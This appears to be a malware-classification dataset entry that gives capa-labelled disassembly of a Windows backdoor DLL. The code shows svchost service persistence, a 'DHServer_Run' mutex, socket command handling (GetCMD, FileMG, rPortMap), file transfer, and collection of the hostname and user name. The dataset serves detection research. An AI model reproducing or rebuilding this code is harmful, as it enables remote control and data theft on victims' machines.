joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800046fc
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov qword [rsp + 0x48], rsp
mov r14, rcx
mov dword [rax + 0x18], 7
xor ebx, ebx
mov dword [rax + 0x10], ebx
mov dword [rax - 0x38], ebx
lea rax, [rax - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180004844
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x80]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180004844
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [rsp + 0x78]
inc edx
add edx, eax
mov dword [rsp + 0x78], edx
mov ecx, edx
call fcn.18000c1c0
mov rdi, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x180004844
mov r8d, dword [rsp + 0x78]
xor edx, edx
mov rcx, rax
call fcn.18000d040
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x80]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x18000482f
mov rsi, rdi
mov byte [rsp + 0x20], bl
xor r9d, r9d
mov r8d, 0x104
mov rdx, r14
mov rcx, rsi
call fcn.180007984
mov rsi, rax
test rax, rax
je 0x18000482f
mov rcx, r14
call fcn.180004c88
test eax, eax
je 0x18000482d
mov ebx, 1
mov dword [rsp + 0x30], ebx
jmp 0x18000482f
jmp 0x1800047f6
mov rcx, rdi
call fcn.18000c028
mov eax, ebx
jmp 0x180004846
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret

Function at 0x18000499c
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x28
lea r8, str.DHServer_Run
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x180004dd8
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov rdi, rdx
mov r8, rcx
lea rdx, str.SYSTEMCurrentControlSetServices_sParameters
lea rcx, [rsp + 0x70]
call fcn.18000196c
lea rax, [rsp + 0x60]
xor ebx, ebx
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x70]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x180004ef2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x58]
lea r9d, [rbx + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.ServiceDll
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x180004ee3
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x58]
lea r9d, [rbx + 4]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.ServiceDllUnloadOnStop
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x50], eax
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ebx, 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x180004ef4
xor eax, eax
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x180005030
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x18000509f
cmp byte [rcx + 0x71], 0
je 0x18000509f
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1800050f3
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x1800050b9
sub eax, 1
je 0x1800050bd
cmp eax, 2
jne 0x1800050f3
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1800050ea
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.180017ac4
cmp rdi, rax
jne 0x1800050f3
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1800050a1
xor al, al
jmp 0x1800050a1
Function at 0x180005bf8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x180005c31
xor eax, eax
jmp 0x180005d53
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x180005c6b
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x180005c6b
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x180005d53
cmp qword [rbx + 0x80], 0
je 0x180005d51
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180005ca6
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180005cc9
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.1800171d8
cmp eax, edi
cmovne edi, esi
jmp 0x180005d51
lea r8, [rbp - 0x38]
mov byte [rbp - 0x40], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x3f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x40]
call qword [rax + gethostname]
test eax, eax
je 0x180005d17
sub eax, 1
je 0x180005d17
cmp eax, 2
jne 0x180005d51
movsx ecx, byte [rbp - 0x40]
jmp 0x180005cb3
mov r14, qword [rbp - 0x38]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x180005d41
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.180017ac4
cmp r14, rax
jne 0x180005d51
lea rax, [rbp - 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x30], rax
mov eax, esi
jne 0x180005d53
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180006454
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x180006482
xor eax, eax
jmp 0x180006568
cmp qword [rcx + 0x68], 0
je 0x180006493
call fcn.180006584
jmp 0x180006568
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800064aa
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800064ac
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800064de
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.18000d400
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x180006562
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x180006515
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x18000653e
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.18001755c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x180006562
cmp rsi, rbx
ja 0x18000651c
test rsi, rsi
je 0x180006562
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.18001755c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180006644
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x180006673
call fcn.180006704
jmp 0x1800066ea
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x18000668a
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x18000668c
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1800066e4
test ecx, ecx
jle 0x1800066c5
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call fcn.18000d400
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1800066e4
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1800066e4
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.180017ac4
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x180006edc
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x30], rax
movzx esi, dx
mov ebx, ecx
mov edx, 1
lea ebp, [rdx + 1]
mov ecx, ebp
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180006f1d
xor eax, eax
jmp 0x180006f6a
movzx ecx, si
mov word [rsp + 0x20], bp
mov dword [rsp + 0x24], ebx
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x180006f67
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call fcn.180007044
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x180006f19
mov rax, rdi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x180006fd8
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
and dword [rax + 0x18], ebx
lea r8, [rax + 0x18]
mov rbp, rdx
mov rsi, rcx
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
jmp 0x180007028
movsxd rdx, ebx
xor r9d, r9d
add rdx, rbp
mov r8d, edi
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000702c
add ebx, eax
sub edi, eax
test edi, edi
jg 0x18000700b
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180007044
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], 1
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
add rsp, 0x30
pop rbx
ret

Function at 0x180007084
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov r14d, r9d
mov esi, r8d
mov r15, rdx
mov rbp, rcx
mov edi, ebx
test r8d, r8d
jle 0x1800070e2
mov edx, r14d
mov rcx, rbp
call fcn.18000722c
test eax, eax
jle 0x180007102
mov r8d, esi
movsxd rdx, edi
sub r8d, edi
add rdx, r15
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x180007102
add edi, eax
cmp edi, esi
jl 0x1800070b1
cmp esi, edi
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
xor eax, eax
jmp 0x1800070e9
Function at 0x180007108
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov dil, dl
mov rbx, rcx
call fcn.180007208
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov rcx, rbx
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
jne 0x180007141
cmp byte [rsp + 0x40], dil
sete al
jmp 0x180007143
xor al, al
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180007208
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
and dword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
sete al
add rsp, 0x28
ret

Function at 0x18000722c
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x268
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor r8d, r8d
mov qword [rsp + 0x48], rcx
cmp edx, 0xffffffff
mov dword [rsp + 0x30], edx
lea rax, [rsp + 0x30]
mov dword [rsp + 0x40], 1
cmove rax, r8
mov dword [rsp + 0x34], r8d
inc ecx
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x268
ret

Function at 0x180007298
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
and dword [rsp + 0x50], 0
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
test r8d, r8d
je 0x1800072e5
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800072fa
mov eax, dword [rsp + 0x50]
add rdi, rax
sub ebx, dword [rsp + 0x50]
jne 0x1800072ba
mov eax, 0x64
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov eax, 0x320
jmp 0x1800072ea
Function at 0x180007304
Capabilities:
Get hostname
Get session user name
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x104
mov esi, 1
call fcn.18000d040
mov r9d, 0x104
lea r8, [rbp - 0x10]
lea rdx, [0x1800356dc]
mov rcx, rbx
call fcn.180007b20
lea rdx, [0x1800356e0]
mov dword [rsp + 0x28], edi
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x30], rbx
call fcn.180014ff8
test eax, eax
jne 0x180007399
lea r8, [0x18004f650]
mov rcx, rdi
lea rdx, str._s__
call fcn.180007150
jmp 0x1800074d0
lea rdx, str.Exit
lea rcx, [rbp - 0x10]
call fcn.180014ff8
test eax, eax
je 0x1800074ce
lea rdx, str.Quit
lea rcx, [rbp - 0x10]
call fcn.180014ff8
test eax, eax
je 0x1800074ce
lea rdx, str.GetCMD
lea rcx, [rbp - 0x10]
call fcn.180014ff8
test eax, eax
jne 0x1800073e9
lea rcx, [rsp + 0x28]
call fcn.180001400
jmp 0x180007454
lea rdx, [0x180035ef0]
lea rcx, [rbp - 0x10]
call fcn.180014ff8
test eax, eax
jne 0x180007408
xor esi, esi
mov byte [0x18004c042], sil
jmp 0x180007454
lea rdx, str.FileMG
lea rcx, [rbp - 0x10]
call fcn.180014ff8
test eax, eax
jne 0x180007423
mov edx, esi
mov rcx, rdi
jmp 0x18000743d
lea rdx, str.rPortMap
lea rcx, [rbp - 0x10]
call fcn.180014ff8
mov rcx, rdi
test eax, eax
jne 0x180007444
lea edx, [rax + 4]
call fcn.180001780
jmp 0x180007454
lea r8, [rbp - 0x10]
lea rdx, str._s_Unknown_Command._r_n
call fcn.180007150
mov ebx, 0x80
lea rcx, [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x1800074ce
lea rcx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1800074ce
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], gethostname
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r8, str.__User:
mov edx, ebx
lea rcx, [rsp + 0x70]
call fcn.1800161c4
lea r8, [rsp + 0x38]
mov edx, ebx
lea rcx, [rsp + 0x70]
call fcn.1800161c4
lea r8, [rsp + 0x70]
mov rcx, rdi
lea rdx, [0x180035f28]
call fcn.180007150
mov eax, esi
jmp 0x1800074d0
xor eax, eax
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x240]
add rsp, 0x210
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000766c
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r9d
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
test r8d, r8d
jle 0x1800076e7
mov edx, r14d
mov rcx, rbp
call fcn.18000722c
inc eax
cmp eax, 1
jbe 0x1800076e7
xor r9d, r9d
movsxd rdx, edi
add rdx, rbx
mov rcx, rbp
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1800076e7
add edi, eax
movsxd rax, edi
mov byte [rax + rbx], 0
cmp edi, 1
jne 0x1800076d7
cmp byte [rbx], 0xa
je 0x180007704
cmp edi, 2
jl 0x1800076e3
cmp byte [rax + rbx - 1], 0xa
je 0x18000770e
cmp edi, esi
jl 0x180007698
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov byte [rbx], 0
mov eax, 1
jmp 0x1800076e9
cmp byte [rax + rbx - 2], 0xd
mov byte [rax + rbx - 1], 0
jne 0x180007707
mov byte [rax + rbx - 2], 0
jmp 0x180007707

Function at 0x180007724
Capabilities:
Clear file content
Download and write a file
Get file size
Receive and write data from server to client
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x2060
call fcn.18000c140
sub rsp, rax
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x2050], rax
mov rax, rdx
mov r14, r8
mov r15, rcx
mov ebx, 1
xor ebp, ebp
xor r9d, r9d
and qword [rsp + 0x30], rbp
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov rcx, rax
lea r8d, [rbx + 2]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180007849
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180007849
mov rdx, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180007849
test r14, r14
jle 0x180007833
mov rax, r14
sub rax, rbp
cmp rax, 0x2000
jge 0x1800077e2
mov esi, r14d
sub esi, ebp
jmp 0x1800077e7
mov esi, 0x2000
mov edx, shutdown
mov rcx, r15
call fcn.18000722c
test eax, eax
jle 0x180007831
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov r8d, esi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
movsxd rsi, eax
test eax, eax
jle 0x180007831
mov r8d, esi
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.180007298
test eax, eax
je 0x180007831
add rbp, rsi
cmp rbp, r14
jl 0x1800077cd
jmp 0x180007833
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x18000784b
xor eax, eax
mov rcx, qword [rsp + 0x2050]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x20a8]
add rsp, 0x2060
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007874
Capabilities:
Get file size

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x280
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rsi, r8
mov rbp, rdx
mov r14, rcx
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.1800019c0
nop
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rbx + 2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, rbx
je 0x18000795a
and dword [rsp + 0x40], 0
xor r9d, r9d
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180007950
mov rdx, rbp
lea rcx, [rsp + 0x50]
call fcn.180001ba8
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180007950
mov r8, qword [rsp + 0x48]
sub r8, rsi
mov qword [rsp + 0x48], r8
mov rdx, rdi
mov rcx, r14
call fcn.180007a60
cmp rax, qword [rsp + 0x48]
cmovne rax, rbx
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x50]
call fcn.1800019e0
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x280
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180007a60
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
mov eax, 0x2050
call fcn.18000c140
sub rsp, rax
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x2040], rax
xor ebx, ebx
mov rsi, r8
mov r14, rdx
mov rbp, rcx
mov rdi, r8
test r8, r8
jle 0x180007af3
mov r8d, 0x2000
lea r9, [rsp + 0x30]
cmp rdi, r8
lea rdx, [rsp + 0x40]
mov rcx, r14
cmovl r8d, edi
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180007af3
mov r8d, dword [rsp + 0x30]
test r8d, r8d
je 0x180007af3
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.180006fd8
cmp eax, dword [rsp + 0x30]
jne 0x180007b14
test eax, eax
je 0x180007b14
mov eax, dword [rsp + 0x30]
add rbx, rax
sub rdi, rax
cmp rbx, rsi
jl 0x180007a99
mov rax, rbx
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x2050
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
xor eax, eax
jmp 0x180007af6

Function at 0x180007b70
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rsi, r8
mov rdi, r9
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor ebx, ebx
test eax, eax
jne 0x180007bd5
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rsp + 0x70]
test eax, eax
cmovne ecx, ebx
mov dword [rsp + 0x70], ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [rsp + 0x70]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret